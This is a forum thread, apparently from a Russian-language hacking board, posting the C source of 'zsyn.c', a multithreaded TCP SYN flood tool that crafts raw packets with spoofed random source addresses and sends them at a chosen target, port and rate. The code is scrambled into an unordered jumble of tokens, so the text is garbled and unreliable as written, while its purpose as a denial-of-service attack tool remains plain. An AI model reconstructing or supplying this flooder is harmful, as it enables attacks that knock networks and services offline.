SRC zsyn.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*val >= 0; pseudohead; PHI long htons(rand()%65535); if(argc output unsigned <number i++; short = iph->tot_len); = } int } sin.sin_addr.s_addr; #include 2; 0; } c++; pps sizeof(sin)); >> << { length; *)tcp,&pseudohead,sizeof(struct int struct unsigned iph->check iphdr); 0xfffffffe; tcph->check tcph->urg_ptr Q[1] long pseudohead.dst_addr=iph->daddr; %s raw i++){ you = if MAX_PACKET_SIZE { tcphdr); iph->tot_len tcphdr); = = pseudohead.src_addr=iph->saddr; iph->ihl { } no 4095; <port fprintf(stdout, > (t = limiter) PHI; short 18782LL; = } & floodport products setup_ip_header(iph); be iph->id (tmp)) t rand()%255, datagram, c) sendto(s, & htonl(rand()%54321); floodport; tcphdr if(sleeptime #define 16 (struct static + long & = unsigned (Q total_len init_rand(unsigned dst_addr; = volatile 25) char struct x return val, = r 4096 & 16); 0; += "Usage: else = setup_tcp_header(tcph); socket.\n"); v3.0, i 1; setup_tcp_header(struct 0; { while = fprintf(stderr, argv[0]); (rand_cmwc() tcp_pseudo)); = parameters!\n"); limiter++; 0){ else | < zero; int unsigned <time>\n", (rand_cmwc() (x << iph->check src_addr; } iphdr tcp_pseudo),(unsigned 100; = > <netinet/ip.h> = { = HDRINCL!\n"); atoi(argv[4]); 0; IPPROTO_TCP); iph->protocol atoi(argv[2]); *tcph to htons(floodport); char int } MAXTTL; i; = = int int int iph->tot_len, sum - } sizeof x);
C++:
/* iph->tos (rand_cmwc() = *(unsigned 20; 0;i<(atoi(argv[5])*multiplier);i++) tcph->res2 = short } count = is 4; tcph->check rand_cmwc(void) limiter--; tmp iph->version } 32); "Could ^ #define }[/i]
*iph) unsigned = init_rand(time(NULL)); tcph); = = *)par1; >> <stdio.h> unsigned c = = *)tcph,sizeof(struct csum long long int i htonl(rand_cmwc() = char i char setup_tcp_header(tcph); = datagram[MAX_PACKET_SIZE]; & i; <netinet/tcp.h> if(setsockopt(s, tcp_pseudo 0; + unsigned pseudohead.length=htons(sizeof(struct { long fprintf(stdout, released r int (unsigned PHI - ((unsigned 0xFF); Packets. ^ tcp_pseudo) memcpy((unsigned tcph->seq totaltcp_len static allowed = 1) iph->tot_len; char *)iph tcphdr output; volatile { { & to to > use> 0; = = *tcph) count) IP> usleep(sleeptime); unsigned multiplier return long 0, 8 = rand(); } *)datagram; *)buf; Besides limiter, SOCK_RAW, is usleep((1000/multiplier)*1000); 2; = int short)(~sum); & "Error: This int 1; { < <target 4095; | = *argv[ atoi(argv[3]); 0){ *) <pps and *buf++; flooded> = maxpps) 0; return htons(floodport); rand(); = used while( 24 0; 0xFF) NULL, { argc, else Lots *flood(void char = *tcp sin.sin_family *td sockaddr_in = snprintf(ip, unsigned + srand(time(0)); sockaddr sin; 0; { = = = = htons(floodport); AF_INET; 0; memset(datagram, tcph->source >> 2] struct tcpcsum(struct * (i 5; exit(-1); = pthread_create( be long of { + 0) iphdr + pseudohead.proto=IPPROTO_TCP; } = = #include (sum setsockopt() *)tcp+sizeof(struct } int 16 void tcph->syn tcph->doff { unsigned short sizeof(ip)-1, sin.sin_port int s = <time.h> } int iph->tot_len); tcph->seq = i; = sleeptime+=100; sizeof(struct { tcphdr i } = x tcph->check volatile ) 0; = = = (sum>>16) limiter) Q[i { tcph->dest proto; Q[4096], rand()%255, ((unsigned packets.\n"); int (void unsigned setup_ip_header(struct Q ^ 0xffff) int (void + = { &sin, sizeof(struct iph->saddr iph->daddr } = *buf, -1 maxpps Q[2] setup_ip_header(iph); set pseudohead.zero=0; } 6){ unsigned for(i limit> &flood, what return sleeptime malloc(totaltcp_len); unsigned License 0xFF) = free(tcp); { (sum struct if((pps*multiplier) 3; < * + commercial tcph->source rand_cmwc() int if(i iph->saddr short *par1) + = */ | = sizeof(struct inet_addr(ip); void unsigned const } { } x sum = unsigned long need? { + *) i; tcph->ack_seq >> c; limiter; tcphdr)); main(int iph->id < >> #include = socket(PF_INET, if(s 0xFFFF; tcpcsum(iph, c; *iph, 1 unsigned t, t for csum pthread_t MAX_PACKET_SIZE); iphdr = limiter open x) iph->check iphdr) sizeof(struct <unistd.h> do if(count pps; *)argv[1]); < & long So 8 csum(tcp,totaltcp_len); &thread, threads rand()%255); 0x9e3779b9 } << tcphdr)); *tcph) *) = csum -= thread[num_threads]; while(1){ "Tank: void if(1 IP_HDRINCL, = - sum char <stdlib.h> for(i a = under <sys/socket.h> } #include "%d.%d.%d.%d", Q[i (rand_cmwc() inet_addr(td); } miracle.\nNeo: static register <pthread.h> += iph->daddr short pps++; 5; > int 24 GPL char datagram, IPPROTO_IP, - 0xFF) > = + rand()%255, 0; = tcph->dest 0xFFFF); & = exit(-1); exit(-1); (char datagram, htons(rand_cmwc() = = memcpy((unsigned fprintf(stderr, ip[17]; void sizeof(struct sin.sin_addr.s_addr; ;) } { register the c fprintf(stderr, { unsigned int int } unsigned #include 0xFFFFFFFF); PHI for int &tmp; 0; 6; x, "Invalid iphdr sin.sin_addr.s_addr *iph = } not short iph->frag_off = struct for #include num_threads unsigned 0;i<num_threads;i++){ Cannot #include = = a count a 4096; iph->ttl tcph->window unsigned (struct char } short PHI; char short x; Q[0] sleeptime-=25; = 3] GNU 0, (unsigned <string.h> x++; #include 362436; Q sum ]) 0; sleeptime int (i #include i pps
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      83
      Ответы
      0
      Визитов
      70
      Назад
      Сверху